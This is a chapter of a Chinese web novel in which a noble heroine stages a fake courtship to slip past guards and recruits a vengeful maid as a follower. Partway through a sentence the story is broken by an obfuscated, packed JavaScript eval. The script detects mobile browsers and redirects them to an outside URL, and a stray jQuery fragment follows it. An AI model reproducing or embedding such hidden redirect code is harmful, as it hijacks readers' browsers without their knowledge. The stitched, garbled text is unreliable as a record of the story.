不过再伟大的工程也要踏出第一步,陈晗擦了擦并不存在的口水,叫来了陈泽,让他和郭海府上的小厮们套套话,打听打听林雁儿的事情。
还嘱咐了他,打听的时候要说感觉她举止奇怪,问了别的婢女才知道她的名字。
陈泽就秒懂,立刻拍着胸脯保证,绝对不会让别人怀疑。
陈晗很满意,然后就去歇息了。
工作嘛,还是要多多交给年轻人,历练一下,没什么不好的。
至于她这个老板,当然是监督他们996就已经够辛苦了呢,得多歇歇。
翌日,阳光正好,陈晗刚吃完早饭,陈泽就来汇报了。
陈晗漱过口就让他坐下,听着他的汇报。
“……是跟随一位江南名妓,被这郭县令买下,而后送往了青州太守那里,府中不少人都知道此事。而一个月前太守府就递来了消息,说那位名妓暴毙,死之前行为多有不端,据说郭县令因为这个,被吓的几天睡不着觉。”
“但奇怪之处就在于,这位名妓暴毙了,但她的两个贴身婢女却没有死去,一位做了太守的妾室,叫鸯儿,而另一位,也就是林雁儿,做了那位鸯儿的贴身婢女。”
“而前几日这位叫做林雁儿的婢女,带着名妓的骨灰回到了郭府,据说是那位太守妾室求太守点的头,随行更有卫队保护,下人们都说那场面大得很。”
陈泽说完了,陈晗点点头,想起那晚情形,极为确定那晚林雁儿身边,绝没有什么侍卫。
这时,她看到陈泽脸上的犹豫,立刻问:“你是有什么猜测吗?”
陈泽连忙点头,说:“小的为了打听消息,也曾经去那位林雁儿姑娘的房外张望过,依我的经验来看,那群人并不像是保护,更像是监视。”
陈晗只是点头,没说话。这和她想的一致,甚至她想的更深了一层。
如果是监视,那有没有可能是青州太守怀疑,这两个婢女其实已经知道那什么“惊天阴谋”,甚至她们三人根本就是某个方面的间谍,而留下她们性命、故意给林雁儿离开的机会,会不会是为了找出接头人?
既然如此,与林雁儿的接触就要更小心了。
思及此,她骤然一惊,自己让陈泽去打探消息的行为,是不是已经被他们看在眼里了?
陈晗连忙问道:“你前去打探消息的时候,可有打草惊蛇?你大胆说,是我让你去的,我不会怪你。”
陈泽半响没说话,吞吞吐吐的说:“或、或许?”
陈晗心下一沉,知道是自己莽撞了。她沉思片刻,当即下了决定。
“你明天就去继续打探,若是有旁人问起,你就说自己那日见到她,觉得容色姝丽,想聘为妾室。”
看到陈泽惊愕的眼神,陈晗笑了笑:“放心,不是真让你纳她,就是找个借口,”犹豫了一下要不要告诉他实情,后觉得陈泽还不够她信任,就没说,只是模糊了一下,“这个人背后牵涉不清,是一个很重要的棋子。”
陈泽了然,立刻答应了下来。心腹心腹,就是得做些别人做不到的、更加贴心的事情,要不怎么贴近上级呢。
那句话怎么说的来着,“四大铁关系:一起同过窗、一起扛过枪、一起分过赃、一起嫖咳咳,最后一个就算了。”
但陈泽坚定的认为,这是他成为陈晗心腹的重要一步,他像打了鸡血一样,振奋的继续打听去了。
陈晗在屋中面无表情的抚摸着杯盏,心中记挂着她的任务,怎么能见到林雁儿呢?
看着陈泽的身影,她心中一动,或许可以让他演一场戏?
……
很快,在陈晗的强烈要求下,戏剧开场了。
陈泽这几日连番打听林雁儿,已经被县令府的下人传遍了,就连被太守派来监视的侍卫都知道了这事,还在叹息自己白惊喜了,本以为抓到了太守要的人,可谁成想人家就是个愣头青。
而他每日在花园中纠缠林雁儿的戏码,也被众人津津乐道,被无数次拒绝后仍旧死心不改,还在堵她。
林雁儿烦不胜烦,而一开始监视她的侍卫还有三位,后来变成两位,最后就剩一个人,再最后这个人也跑没影了。
侍卫们都在庆幸有这么个军痞在,他们中午都可以午休了。
等到没人监视的时候,陈晗让陈泽将林雁儿带到僻静处,后迎了上去。
林雁儿本来都神情麻木了,但看到陈晗出现并向她走过来,还是察觉到了不对,眉头一皱。
陈晗给陈泽递了个眼神,示意他退下。
陈泽自觉去了外面放风。一旁的林雁儿看到两人眉来眼去,立刻明白了这些天的遭遇,都是眼前人在做局,就是为了支开侍卫。
她自然知道那些侍卫是太守派来监视她的,还有些婢女眼红说她排场大,真是愚蠢,哪个高官会给小妾的贴身婢女做脸面,真是可笑。
更何况鸯儿的境遇……想到这里,林雁儿默了默,她从不知道那位青州太守那么变态,鸯儿只跟了他一个月,浑身都找不出一片好肉。
那位太守最喜欢的就是在床上凌虐,鸯儿痛苦不堪,却连求死都不能。
林雁儿眼中尽是恨意,她知道鸯儿为什么会去主动求那个狗官,因为想让她跑。
她也知道那个狗官为什么会允许她出府,因为他觉得她们都是间谍,想找什么接头人。
她更知道,就在她走后不久,鸯儿就会自尽,因为她看到了她梳妆台里藏着的花生。
鸯儿从小对此物过敏,一旦服下就会全身发红而亡。
她什么都知道,可什么都没法说,也劝不住,更做不了任何事!!!
林雁儿太恨了,恨到她听见对面的人说“你想复仇吗”的时候,甚至没有反应过来。
当她反应过来的时候,自己已经跪到了那人身前,紧紧拽住他的下裳,说:“我想!我做梦都想!!”
于是事情便很顺理成章了。
陈晗看过简介,知道林雁儿不会相信任何人,不过巧了,她也不需要她的相信,就连陈晗自己,也不知道以后会不会为了利益,把自己今天说的话当放/屁。
但她深知一点,将胡萝卜钓到驴的面前,你就将获得一个核动力驴。
陈晗微微笑着说:“我不会许诺你什么,而且我也不认为你会相信任何许诺。我只能说我愿意给你整片天地。
你在我的手下,可以做一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15963990|176941||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
教书的夫子,可以做一个基层官员处理政务,甚至可以带领一部分的女兵进行战场包扎,或者带领女子独自成军。”
“你若是带领同为弱势的女子建军、打胜仗,那就连朝廷都不能忽视、也不敢忽视你们的贡献。”
陈晗顿了几秒,给林雁儿留出思考空间:“要知道,尊严只在剑锋之上,真理只在强弩射程之内。你有了权势,就可以自己去讨想讨的公道,可以逼那些人坐下来,和他们讲道理。”
她将前世的名言改了改,完美用上了。这个世界的人第一次听到,想必是极度震撼的。
最后陈晗一锤定音,总结道:“道理讲不通,你还有拳脚,他们总会想通的。”
林雁儿呆呆地听着,本来她都打算好了,如果这个人不拿出点实际的东西,她死都不会说出那件“惊天阴谋”。
但现在,虽然这个人还是什么实际的东西都没给出,但她想,她想要这样做,想要投靠这个人。
于是,一声坚定的“主公”,外加林雁儿郑重其事的跪拜,换来了陈晗1400的积分与绿币。
陈晗满意至极,眼神坚定仿佛要入党一样,扶起了她,说:“君若不背叛,我必厚待。”
林雁儿满含热泪,她还是第一次遇到,这么懂她们底层人的贵族,还如此体贴大气,这样的主公,她跟定了!
二人君臣相得的时刻很快就被“布谷布谷”打断了。
陈晗面色一禀,这是她和陈泽约定好的暗号,随即便见到陈泽钻了进来,大声对林雁儿表白。
林雁儿冰雪聪明,立刻拿出了前几天的态度。一边的陈晗借着草丛的掩盖,迅速溜回了客房。
接下来的时日里,林雁儿和陈泽心照不宣,同时传递了一个信息:后日启程。
于是,等到郭海前来送别时,惊讶的发现两支队伍竟然要一同离开。
那些侍卫们硬着头皮面对郭海的目光,其实他们也很惊讶的,更有了怀疑,但一想到眼前的情况,正是由于自己之前的掉以轻心……
Emmm……蒜鸟蒜鸟,一个月就二十贯钱,拼什么命呐!
真报告了,怕不是又要被扣钱。
再说了,这回去的一路上,陈晗陈世子那撒钱撒的痛快,叫弟兄几个看了都想辞职,去人家的亲卫队里任职了。
一月朝廷给十贯钱,陈世子自己加十贯,还自掏腰包给亲卫们加餐,几乎每天都能吃到肉,每日还有比赛,胜者居然还有钱拿!
太过分了!
他们打听着,陈世子居然还和他们说,一旦有伤亡,东平侯府一定赡养他们父母妻儿。
父母养到死,妻子若改嫁送嫁妆,不改嫁再给一份赡养费,女儿儿子都送去读书,就是独女,陈家也会护着她不被吃绝户。
更甚至学得好的,无论男女,都能进陈家族学,由大儒教书,学得不好也能跟在侯府下一任少主身边,继续做亲卫。
太、太过分了!!这么好的事情怎么轮不到我!!!
侍卫们只恨不得纳头便跪,大喊一声“您就是我命中注定的主公!谁也不能将你我分开!!”
如果青州太守反对?哦不用管他,他已经是个死人了。